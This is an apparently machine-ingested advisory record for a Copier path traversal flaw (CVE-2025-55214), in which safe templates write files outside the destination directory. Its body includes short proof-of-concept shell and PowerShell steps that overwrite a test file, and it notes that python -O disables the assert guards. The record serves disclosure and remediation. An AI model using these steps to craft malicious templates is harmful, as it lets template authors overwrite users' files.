{"id":"CVE-2025-55214","aliases":["GHSA-p7q8-grrj-3m8w","PYSEC-2026-1273"],"title":"Copier's safe template has filesystem write access outside destination path","summary":"Copier's safe template has filesystem write access outside destination path","severity":"medium","vendor":"copier","product":"copier","ecosystem":"pip","affected":["copier >= 7.1.0, < 9.9.1"],"patched":["copier 9.9.1"],"published":"2025-08-18","updated":"2026-07-07","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-p7q8-grrj-3m8w","references":[{"url":"https://github.com/copier-org/copier/security/advisories/GHSA-p7q8-grrj-3m8w"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-55214"},{"url":"https://github.com/copier-org/copier/commit/fdbc0167cc22780b497e4db176feaf6f024757d6"},{"url":"https://github.com/copier-org/copier"}],"tags":["osv","pip"],"epss":0.00264,"epssPercentile":0.18629,"ingestedAt":"2026-07-08T18:25:51.732Z","slug":"CVE-2025-55214","body":"## Overview\n\n### Impact\n\nCopier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently write files outside the destination path where a project shall be generated or updated. This is possible when rendering a [generated directory structure](https://copier.readthedocs.io/en/stable/configuring/#generating-a-directory-structure) whose rendered path is either a relative parent path or an absolute path. Constructing such paths is possible using Copier's builtin `pathjoin` Jinja filter and its builtin `_copier_conf.sep` variable, which is the platform-native path separator. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc.\n\n#### Write access via generated relative path\n\nReproducible example:\n\n```shell\necho \"foo\" > forbidden.txt\nmkdir src/\necho \"bar\" > \"src/{{ pathjoin('..', 'forbidden.txt') }}\"\nuvx copier copy src/ dst/\ncat forbidden.txt\n```\n\n#### Write access via generated absolute path\n\nReproducible example:\n\n- POSIX:\n\n    ```shell\n    # Assumption: The current working directory is `/tmp/test-copier-vulnerability/`\n    echo \"foo\" > forbidden.txt\n    mkdir src/\n    echo \"bar\" > \"src/{{ pathjoin(_copier_conf.sep, 'tmp', 'test-copier-vulnerability', 'forbidden.txt') }}\"\n    uvx --from copier python -O -m copier copy --overwrite src/ dst/\n    cat forbidden.txt\n    ```\n\n- Windows (PowerShell):\n\n    ```powershell\n    # Assumption: The current working directory is `C:\\Users\\<user>\\Temp\\test-copier-vulnerability`\n    echo \"foo\" > forbidden.txt\n    mkdir src\n    Set-Content -Path src\\copier.yml @'\n    drive:\n      type: str\n      default: \"C:\"\n      when: false\n    '@\n    echo \"bar\" > \"src\\{{ pathjoin(drive, 'Users', '<user>', 'Temp', 'test-copier-vulnerability', 'forbidden.txt') }}\"\n    uvx --from copier python -O -m copier copy --overwrite src dst\n    cat forbidden.txt\n    ```\n\nThis scenario is slightly less severe, as Copier has a few [assertions of the destination path being relative](https://github.com/copier-org/copier/blob/d106ea543fd26e1ac1b9a3dcef3e99cc70fdf57c/copier/_main.py#L747) which would typically be raised. But `python -O` (or `PYTHONOPTIMIZE=x`) removes asserts, so these guards may be ineffective. In addition, this scenario will prompt for overwrite confirmation or require the `--overwrite` flag for non-interactive mode; yet malicious file writes might go unnoticed.\n\n## Affected packages\n\n- `copier >= 7.1.0, < 9.9.1`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `copier 9.9.1`","depth":"sunlit","depthScore":28,"depthScoreParts":{"impact":27.5,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}